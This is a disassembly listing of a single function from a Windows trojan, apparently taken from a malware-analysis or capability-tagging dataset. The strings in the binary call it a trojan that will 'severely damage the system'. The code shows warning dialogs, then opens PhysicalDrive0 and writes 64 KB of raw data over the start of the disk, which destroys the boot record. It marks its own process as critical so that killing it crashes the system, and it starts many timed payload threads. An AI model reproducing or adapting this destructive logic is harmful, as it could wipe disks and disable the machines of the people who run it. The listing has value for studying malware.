Function at 0x140002ca0
Capabilities:
Create thread
Write file on windows

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [0x14004a008]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor ebx, ebx
mov dword [rsp + 0x50], 0x11c
xor edx, edx
mov qword [rsp + 0x5c], rbx
mov r8d, 0x100
lea rcx, [rsp + 0x64]
call fcn.140009e70
xor eax, eax
mov word [rsp + 0x166], bx
mov r8b, 3
mov dword [rsp + 0x168], eax
lea edx, [rbx + 2]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
lea edx, [rbx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea edx, [rbx + 0x23]
mov qword [rsp + 0x54], 6
mov r8, rax
mov word [rsp + 0x164], bx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor ecx, ecx
test eax, eax
je 0x140002d60
mov r9d, 0x1010
lea r8, str.Wait_youre_doing_it_wro_wait_WHAT_THE_FUCK_ARE_YOU_DOING
lea rdx, str.This_trojan_can_only_be_ran_on_Windows_XP.
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140003390
mov r9d, 0x1034
lea r8, str.You_dont_know_who_I_am...
lea rdx, str.This_program_is_a_trojan_able_to_severely_damage_the_system._nIt_will_also_produce_flashing_lights_and_loud_noises__if_youre_sensitive__press_NO_immediately._nAre_you_sure_you_want_to_execute_it_
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x140003390
mov r9d, 0x1031
lea r8, str.drop_da_bomb
lea rdx, str.Last_warning._Press_OK_to_proceed._nPress_CANCEL_to_exit._Pressing_OK_is_irreversible._nI_hold_no_responsibility_for_your_actions.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 2
je 0x140003390
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rcx, str..PhysicalDrive0
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea rdx, [0x14004a960]
mov r8d, 0x10000
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x40]
mov dl, 1
lea ecx, [r8 + 0x14]
call rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlSetProcessIsCritical
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001300]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x6590
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002470]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov dword [rsp + 0x20], ebx
lea r8, [0x140002b70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x1400022a0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
inc dword [0x14004a954]
mov ecx, 0x2af8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002470]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [0x14004a958]
mov ecx, 0x3e80
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x1400012a0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e80
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002690]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
inc dword [0x14004a958]
mov ecx, 0x18e70
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 3
lea r8, [0x140001e50]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002690]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add dword [0x14004a958], 2
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 7
lea r8, [0x140001e50]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002690]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add dword [0x14004a958], 2
mov ecx, 0x4650
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 8
lea r8, [0x140001e50]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140002200]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002690]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add dword [0x14004a958], 5
mov ecx, 0x4650
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 0x14
lea r8, [0x140001e50]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov byte [0x14005c1d8], 1
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140001e50]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002200]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002690]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add dword [0x14004a958], 0xa
mov ecx, 0xa7f8
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 0xa
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140002c80]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add dword [0x14004a954], 0xa
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 0xa
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 0xa
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x14004a954], 0xa
mov ecx, 0xadd4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400033c0
add rsp, 0x180
pop rbx
ret